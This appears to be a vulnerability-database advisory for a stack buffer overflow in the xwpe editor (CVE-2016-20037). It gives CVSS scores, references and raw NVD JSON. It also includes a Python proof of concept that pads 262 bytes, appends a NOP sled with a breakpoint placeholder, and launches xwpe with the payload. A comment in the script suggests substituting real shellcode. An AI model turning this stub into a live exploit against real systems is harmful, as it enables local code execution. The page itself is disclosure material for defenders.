CVE-2016-20037

Description

xwpe 1.5.30a-2.1 and prior contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying overly long input strings that exceed buffer boundaries. Attackers can craft malicious command-line arguments with 262 bytes of junk data followed by shellcode to overwrite the instruction pointer and achieve code execution or denial of service.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

xwpe <= 1.5.30a-2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2016-20037
# Vulnerability: Stack-based Buffer Overflow in xwpe
# Description: This script generates a malicious payload to trigger the overflow.

import os
import sys

# Configuration
# Offset to overwrite the instruction pointer (EIP/RIP)
offset = 262

# Generate payload
# 1. Junk data to fill the buffer
junk = b"A" * offset

# 2. Shellcode placeholder (NOP sled + Breakpoint for demo)
# In a real scenario, replace this with actual shellcode (e.g., exec /bin/sh)
shellcode = b"\x90" * 32 + b"\xcc"

payload = junk + shellcode

try:
    print(f"[*] Generating payload with length: {len(payload)}")
    # Execute xwpe with the malicious argument
    # Ensure xwpe is in the PATH or provide full path
    print("[*] Executing xwpe with payload...")
    os.execvp("/usr/bin/xwpe", ["xwpe", payload.decode('latin1')])

except FileNotFoundError:
    print("[-] Error: xwpe binary not found.")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2016-20037
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2016-20037
[3] CVE Details https://www.cvedetails.com/cve/CVE-2016-20037/
[4] VulDB https://vuldb.com/cve/CVE-2016-20037
[5] http://www.identicalsoftware.com/xwpe
[6] https://www.exploit-db.com/exploits/39285
[7] https://www.vulncheck.com/advisories/xwpe-30a-stack-based-buffer-overflow

Raw JSON Data

JSON

{"cve": {"id": "CVE-2016-20037", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:15:58.500", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "xwpe 1.5.30a-2.1 and prior contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying overly long input strings that exceed buffer boundaries. Attackers can craft malicious command-line arguments with 262 bytes of junk data followed by shellcode to overwrite the instruction pointer and achieve code execution or denial of service."}, {"lang": "es", "value": "xwpe 1.5.30a-2.1 y versiones anteriores contiene una vulnerabilidad de desbordamiento de búfer basado en pila que permite a los atacantes locales ejecutar código arbitrario al proporcionar cadenas de entrada excesivamente largas que exceden los límites del búfer. Los atacantes pueden crear argumentos de línea de comandos maliciosos con 262 bytes de datos basura seguidos de shellcode para sobrescribir el puntero de instrucción y lograr la ejecución de código o denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.identicalsoftware.com/xwpe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/39285", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xwpe-30a-stack-based-buffer-overflow", "source": "[email protected]"}]}}